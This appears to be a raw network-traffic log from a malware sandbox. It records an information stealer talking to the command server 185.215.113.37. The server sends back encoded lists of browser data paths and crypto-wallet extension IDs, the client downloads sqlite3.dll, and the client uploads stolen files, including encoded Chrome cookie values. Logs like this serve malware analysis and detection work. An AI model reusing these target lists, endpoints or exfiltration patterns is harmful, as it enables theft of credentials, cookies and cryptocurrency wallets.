Oct 20, 2024 08:40:02.632709026 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="message"browsers------IDHDGDHJEGHIDGDHCGCB--
Oct 20, 2024 08:40:02.985821962 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Oct 20, 2024 08:40:02.985846996 CEST	512	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRml
Oct 20, 2024 08:40:02.987802029 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 2d 2d 0d 0a Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="message"plugins------KFHJJJKKFHIDAAKFBFBF--
Oct 20, 2024 08:40:03.342087984 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Oct 20, 2024 08:40:03.342108965 CEST	212	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8
Oct 20, 2024 08:40:03.342124939 CEST	1236	IN	Data Raw: 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 68 70 62 57 35 72 62 6d 39 38 4d 58 77 77 66 44 42 38 51 58 56 79 62 79 42 58 59 57 78 73 5a 58 51 6f 54 57 6c 75 59 53 42 51 63 6d 39 30 62 32 Data Ascii: ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZqYW9vbGFmfDF8MHwwfElDT05leHxmbHBpY2lpbGVtZ2hibWZ
Oct 20, 2024 08:40:03.342210054 CEST	1236	IN	Data Raw: 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d 6c 6c 59 57 31 6d 61 32 78 72 62 58 77 78 66 44 42 38 4d 48 78 4c 53 45 4e 38 61 47 4e 6d 62 48 42 70 62 6d 4e 77 63 48 42 6b 59 32 78 70 62 6d Data Ascii: dHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWlqaW5ocG1uamZmY29mam9uYmZiZ2FvY3wxfDB8MHxHb2J5fGp
Oct 20, 2024 08:40:03.342226028 CEST	1236	IN	Data Raw: 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 70 6f 62 6d 46 6e 59 32 5a 69 63 47 6c 6c 62 57 35 72 5a 48 42 76 62 57 4e 6a 62 6d 70 69 62 47 31 71 66 44 46 38 4d 48 77 77 66 45 78 6c 59 58 Data Ascii: bmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmtnamFnZ2hubmNqa2hnZ2RoYWxtY25ma2xrfDF8MHwwfEF1dGh
Oct 20, 2024 08:40:03.342241049 CEST	636	IN	Data Raw: 64 57 78 30 66 47 6c 6e 61 33 42 6a 62 32 52 6f 61 57 56 76 62 58 42 6c 62 47 39 75 59 32 5a 75 59 6d 56 72 59 32 4e 70 62 6d 68 68 63 47 52 69 66 44 46 38 4d 48 77 77 66 45 39 77 5a 58 4a 68 49 46 64 68 62 47 78 6c 64 48 78 6e 62 32 70 6f 59 32 Data Ascii: dWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnBnbGljaGRjb25kYmNiZG5iZWVwcGdkcGh8MXwwfDB8UmlzZSAtIEFwdG9zIFdhbGxldHxoYmJnYmVwaGdvamlrYWp
Oct 20, 2024 08:40:03.342654943 CEST	1236	IN	Data Raw: 62 6e 52 70 5a 58 49 67 56 32 46 73 62 47 56 30 66 47 74 77 63 47 5a 6b 61 57 6c 77 63 47 68 6d 59 32 4e 6c 62 57 4e 70 5a 32 35 6f 61 57 5a 77 61 6d 74 68 63 47 5a 69 61 57 68 6b 66 44 46 38 4d 48 77 77 66 46 4e 68 5a 6d 56 51 59 57 78 38 62 47 Data Ascii: bnRpZXIgV2FsbGV0fGtwcGZkaWlwcGhmY2NlbWNpZ25oaWZwamthcGZiaWhkfDF8MHwwfFNhZmVQYWx8bGdtcGNwZ2xwbmdkb2FsYmdlb2xkZWFqZmNsbmhhZmF8MXwwfDB8U3ViV2FsbGV0IC0gUG9sa2Fkb3QgV2FsbGV0fG9uaG9nZmplYWNuZm9vZmtmZ3BwZGxibWxtbnBsZ2JufDF8MHwwfEZsdXZpIFdhbGxldHxtbW1
Oct 20, 2024 08:40:03.342669010 CEST	316	IN	Data Raw: 62 57 6c 6f 62 6d 52 74 62 57 4e 6b 59 57 35 68 59 32 39 73 62 6d 68 38 4d 58 77 77 66 44 42 38 51 6d 6c 30 5a 32 56 30 49 46 64 68 62 47 78 6c 64 48 78 71 61 57 6c 6b 61 57 46 68 62 47 6c 6f 62 57 31 6f 5a 47 52 71 5a 32 4a 75 59 6d 64 6b 5a 6d Data Ascii: bWlobmRtbWNkYW5hY29sbmh8MXwwfDB8Qml0Z2V0IFdhbGxldHxqaWlkaWFhbGlobW1oZGRqZ2JuYmdkZmZsZWxvY3Bha3wxfDB8MHxUT04gV2FsbGV0fG5waHBscGdvYWtoaGpjaGtraG1pZ2dha2lqbmtoZm5kfDF8MHwwfE15VG9uV2FsbGV0fGZsZGZwZ2lwZm5jZ25kZm9sY2JrZGVla25iYmJuaGNjfDF8MHwwfFVuaXN
Oct 20, 2024 08:40:03.345349073 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: 185.215.113.37 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"fplugins------DGIJEGHDAECAKECAFCAK--
Oct 20, 2024 08:40:03.749622107 CEST	335	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:03 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Oct 20, 2024 08:40:03.766586065 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAFBAKECAEGCBFIEGDG Host: 185.215.113.37 Content-Length: 6483 Connection: Keep-Alive Cache-Control: no-cache
Oct 20, 2024 08:40:03.766621113 CEST	6483	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 46 42 41 4b 45 43 41 45 47 43 42 46 49 45 47 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 Data Ascii: ------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------DAAFBAKECAEGCBFIEGDGContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Oct 20, 2024 08:40:04.642554998 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:03 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:04.990979910 CEST	93	OUT	GET /0d60be0de163924d/sqlite3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 20, 2024 08:40:05.340708971 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:05 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Oct 20, 2024 08:40:05.340766907 CEST	1236	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Oct 20, 2024 08:40:06.985095978 CEST	952	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFHJJJKKFHIDAAKFBFBF Host: 185.215.113.37 Content-Length: 751 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 34 35 31 64 62 66 66 39 36 65 35 32 36 36 61 31 62 62 65 62 62 35 31 63 39 64 61 31 65 36 65 66 65 62 32 33 63 38 65 66 35 34 31 32 66 36 30 30 66 33 31 65 63 35 39 62 34 64 62 62 32 61 32 33 35 35 30 62 33 35 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 48 4a 4a 4a 4b 4b 46 48 49 44 41 41 4b 46 42 46 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="token"d451dbff96e5266a1bbebb51c9da1e6efeb23c8ef5412f600f31ec59b4dbb2a23550b354------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------KFHJJJKKFHIDAAKFBFBFContent-Disposition: form-data; name="file"Lmdvb2dsZS5jb20JVFJVRQkvCUZBTFNFCTE2OTkwMTE2MTUJMVBfSkFSCTIwMjMtMTAtMDQtMTMKLmdvb2dsZS5jb20JRkFMU0UJLwlGQUxTRQkxNzEyMjMwODE1CU5JRAk1MTE9RWY1dlBGR3ctTVpZbzVod2UtMFRoQVZzbGJ4Ym12ZFZad2NIbnFWeldIQVUxNHY1M01OMVZ2d3ZRcThiYVlmZzItSUF0cVpCVjVOT0w1cnZqMk5XSXFyejM3N1VoTGRIdE9nRS10SmFCbFVCWUpFaHVHc1FkcW5pM29USmcwYnJxdjFkamRpTEp5dlRTVWhkSy1jNUpXYWRDU3NVTFBMemhTeC1GLTZ3T2c0Cg==------KFHJJJKKFHIDAAKFBFBF--
Oct 20, 2024 08:40:08.718827009 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:08.718903065 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 20, 2024 08:40:08.719006062 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 20 Oct 2024 06:40:07 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
